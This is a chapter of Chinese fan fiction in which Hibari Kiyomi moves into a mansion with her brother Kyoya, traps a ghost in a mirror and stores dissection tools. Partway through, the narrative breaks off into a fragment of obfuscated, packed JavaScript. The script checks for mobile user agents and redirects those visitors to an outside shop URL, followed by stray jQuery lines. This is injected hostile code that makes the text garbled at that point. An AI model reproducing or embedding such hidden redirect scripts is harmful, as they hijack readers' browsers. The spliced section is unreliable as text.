有了钱之后的第一件事是什么呢?
云雀清弥:换房!
她实在不愿意跟前面的凶宅挨一起了。
她在车上用手机查找房源信息,加完中介的联系方式后刚好到家。
他们下了车顶着满身的淤泥走进家门,身后跟着的司机不断道歉,然后被关闭门板拒之门外。
他挠了挠头,悻悻离开。
云雀恭弥率先走进浴室洗澡,他头顶的小呱叫了一声然后跳到云雀清弥头上,女孩戳了戳它便开始处理伤口,等到差不多时就先系上围裙洗手做饭。
必须处理一下身上的脏污,她更想先切点什么冷静一下,反正都已经脏了一路了,也不差这一会儿。
首先是处理食材,冰箱里的鸡腿解冻完毕后被放在案板上,尖锐的刀尖划开软肉,剃掉骨头和韧带放在碗中腌制,然后转身清洗蔬菜,将其剁碎后调了个料汁。
接着是味增汤,她在锅中加入水和高汤包盖上盖子焖煮五分钟下入裙带菜。
还有腌好的鸡腿肉摊平放入锅中小火煎炸,两面金黄后倒入照烧汁出锅入盘。
最后在准备两碗米饭。
饭菜上桌之后又给小青蛙准备了一个透明玻璃杯。
“明天再去给你买蛙粮哦。”
“呱!”
云雀清弥便上二楼洗澡了。
身上的伤口不深但胜在密。
她脱掉衣服,站在镜前检查。
右手手臂轻微擦伤,两只手被玻璃渣划出很多细小伤口。
最严重的是小腿,由于最后动作用力,伤口崩开。
现在需要缝合。
她先是简单冲洗一下全身,然后拿出之前准备好的医药箱,打开后,取出医用缝合针线蹲下身子。
第一步是涂抹碘伏简单消毒,然后用细小的针尖穿过皮肤,带来一丝异样的感觉,但因为没有痛感所以只需要看准位置扎下去,保证出血量就不会有任何问题。
缝合的过程一如既往的顺利。
虽然上辈子的记忆有些遥远,但现实操作起来还是一如昨日那般。
再上一层碘伏消毒,缠紧绷带,换上干净的浴衣,心里的强迫感瞬间被消除。
一整套下来,用时不超过十分钟。
等她包好湿漉漉的头发下楼时云雀恭弥也收拾完毕,正穿着干净的浴衣顶着稍微潮湿的脑袋跪坐在矮桌一侧用餐。
鉴于腿上有伤,云雀清弥没有选择跪坐而是盘腿坐下,打开电话。
“明天我要去看房,你去吗?”
对面的小孩微微一愣,答:“到时候电话联系。”
云雀清弥点头,又问:
“有什么要求吗?”
云雀恭弥赞赏的看她一眼,然后第二天她就见到了一座豪宅。
云雀清弥:……
旁边的中介还在兴致高昂的介绍着。
“两位真是有眼光,这座占地2200平方米的宅邸,曾是战国时期,贵族名门藤原家的老宅,如今过了千年,它依旧没有任何损坏,整体由珍贵木料一点点锻造而成……”
云雀恭弥深吸一口气,看了一眼手机上显示的价格。
这大概是这辈子第一次见到天文数字吧,哦,不,是第二次,还有那个早逝的父亲留下的五十亿日元。
她对金钱向来没什么概念,上辈子因为工作原因,倒是挣了很多,虽然最后也没花出去。
云雀恭弥在旁边越看越满意,连连点头,就差当场买下来了,于是云雀清弥打断旁边男人的介绍问:“请问全款价格多少?”
佐藤建也惊讶的看她,虽然有一部分是因为对方做决定之快令他震惊,但还有一部分原因是,这个声音让他想起了前几天给他打电话的租客。
应该是错觉吧?
他将合同递给对方。
“都在这里边写了,您先看看……”
“不了。”
女孩接过合同没有去看。
“刷卡吧。”
“好…好的。”
他取出刷卡机的动作有些颤抖。
“总共十亿日元,请。”
搬家过程进行的很快。
因为豪宅面积过大,所以每月都会雇佣外人帮忙打扫,搬东西也是同理。
也就是说,现在这里已经完全没有他们的事情了。
云雀恭弥理所当然的回了学校,而云雀清弥则是进入豪宅,在回廊上逛了起来。
这里的庭院和之前的相比,大了不知道多少平方米,布局也很优秀,山景、水景一应俱全,水道修建的很长,沿着走几乎绕了半圈都没到尽头。
她跟着负责搬家的人们身后,但走着走着,挎包里似乎有东西在震动。
她拿出那面镜子,和镜中的金发少女对上视线。
薇奥拉:……
云雀清弥:“你好?”
“好你个头!”
薇奥拉使劲拍打着面前透明的墙壁崩溃大叫:“你究竟用了什么方法把我困在这里?!为什么我出不去了?”
云雀清弥非常诚恳的表示抱歉:“我不清楚。”
“怎么可能?!”
镜子中的少女气愤的想要发疯。
外面和她对视的女孩却一脸平静地表示:“先冷静一下,我看能不能把您放出来。”
安抚性的话语并没有成功安慰到薇奥拉,她依旧在问无能狂怒。
云雀清弥打开圆镜的系统介绍,看到上面被标了更新。
【镜:
隐藏功能已开启,沾入秽物的血液,可使其暂居在镜中,直到对方怨念消散方可解脱。】
那这可真要命。
怨念消散听起来就太不可能了。
毕竟,恨的人已死,爱的人也逝,她无论如何也放不得了。
那就先这样带着?当个吉祥物好了。
想罢,她把镜子塞回挎包,忽视掉对方的怒吼,转身踏出宅邸。
还是回去先把小呱给带过来吧。
等她再回到这里时正看到云雀恭弥指挥着一群飞机头造型的男人在大门口挂牌匾。
【云雀宅】
她眨了下眼。
看来他对这里真的很满意啊。
她冲小孩点点脑袋刚想踏进大门,那群人突然停下动作,然后向她弯腰并非常恭敬的问候:“大小姐好。”
云雀清弥:……
她保持微笑回应。
“你们辛苦了。”
然后快步踏进宅邸。
她和那些飞机头见面的次数并不多。
偶尔在大街上见到他们揍人时,也只是问了恭弥晚上吃什么而已。
应该是打电话的时候,他们听到了什么吧?
她猜的没错。
云雀恭弥翻了个白眼,冷声道:
“你们挂歪了,继续。”
他们立马上手调整。
那只是个意外。
他们当时正在开会。
刚成立的风纪委员会都不太守他的规矩,所以只能全揍一遍长长记性,正当他打得正高兴时一通电话打了过来。
“姐姐来电~姐姐来电~”
空气安静了。
他的动作停在半空,打也不是,收也不是,只是僵硬的拿出电话。
电话拨通的一瞬间他立马道:
“谁让你改我手机铃声的?”
“……”
对方沉默一会似乎是在想先回答还是先不管,最后传出一道稚嫩的女声。
“因为平常给你打电话都不接啊,所以就改了这个号码的,其他号码的没动。”
说完这句话后她语调一改。
“我昨天晚上不在家,你回来是不是没洗澡。”
云雀恭弥:……
“地板上都是血。”
“被子上的味道也很重。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550622|204317||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“我们当初立的家规是什么?”
因为从小争斗不断立场不合,所以有了家规,需要共同遵守、维护,方可共存。
云雀恭弥的规矩只有一条。
听他的,至于听什么得看心情。
云雀清弥的规矩也只有一点。
每天运动过后必须洗澡,家里要时刻保持干净,且主要卫生都由她负责。
而越界则需要道歉。
云雀恭弥长久的沉默会,然后说了句“对不起”。
他向来遵守承诺。
这句道歉,说者无意听者有心,更甚者早就记在了心里去。
草壁哲矢趴在地上装死,支着耳朵使劲听,但电话“嘟”的一声就挂了,然后他们又被揍了一顿。
所以就有了这场问候,但委员长看起来不太高兴,难道是不够吗?
草壁哲矢瞥了一眼男孩的脸色。
下次如果在外面遇到也问候一声吧。
而云雀恭弥只是觉得该变了。
他拿出电话准备把对方的铃声改成妹妹来电,结果发现上个电话铃声是对方口录的。
云雀恭弥:……
算了,找个时间让她再录一条。
云雀清弥踏进庭院把小呱放进池塘,然后沿着回廊走进一间居室,开始整理起别人搬来的东西。
但在继续整理之前,她需要考虑一个问题,是否要和云雀恭弥分开住?
这里房间多,室内空旷,他们没有理由睡一个房间。
况且他喜欢一个人,不是吗?
正思考着,正主就来了。
云雀恭弥出现在门口,扬了扬头。
“我请了一些人来帮忙。”
他走了进来,看见她手上拿的抹布,眉毛一皱。
“刚刚不是已经让人来打扫过了吗?”
还是说不干净。
“我拿错了。”
云雀清弥回神,她放下手中的东西,然后转头看他。
“我去睡别的房间吧。”
云雀恭弥一愣,不由问出口:“为什么?”
云雀清弥却比他还要疑惑:“因为这里房间很多啊,而且你不是很喜欢一个人吗?”
云雀恭弥瞬间面无表情。
“现在不喜欢。”
“好吧。”
云雀清弥开始把衣服往柜子里放。
“那就麻烦先生们搬一下其他东西了。”
小孩身后的飞机头们立马行动起来,搬着矮桌茶杯往茶室放,书籍古典放书房,片刻功夫就全部搬完。
草壁哲矢搬起了一个有些奇怪的箱子,那个箱子不算重,但也不算轻,晃一下,还会有叮铃咣啷的声音。
应该是些小物件吧。
他想打开,却被一道声音拦住。
“先生。”
女孩微笑着向他走来,接过那个箱子。
“这个交给我来就可以了。”
“好…好的。”
等她走远后,草壁哲矢才反应过来。
为什么感觉刚刚有点危险?
应该是错觉吧。
“你那里边装的是什么?”
云雀清弥刚把箱子放下,男孩就蹲到了旁边,有些好奇的盯着箱子。
她只好打开给他看一眼。
是一些解剖用的器械,包括但不限于手术刀,电钻,止血钳……还有一些他认不出来的工具。
“你要这些做什么?”
云雀清弥将它们搬进柜子。
“练习啊。”
“你对解剖感兴趣?”
倒也不能说感兴趣。
只是工作时用解剖手段的话,能让人很快吐出东西,所以养成了习惯。
而且,她更喜欢用一击必命的武器。
她不喜欢揍人,不喜欢对□□的打击感。
“用这些比较方便。”
云雀恭弥不知可否。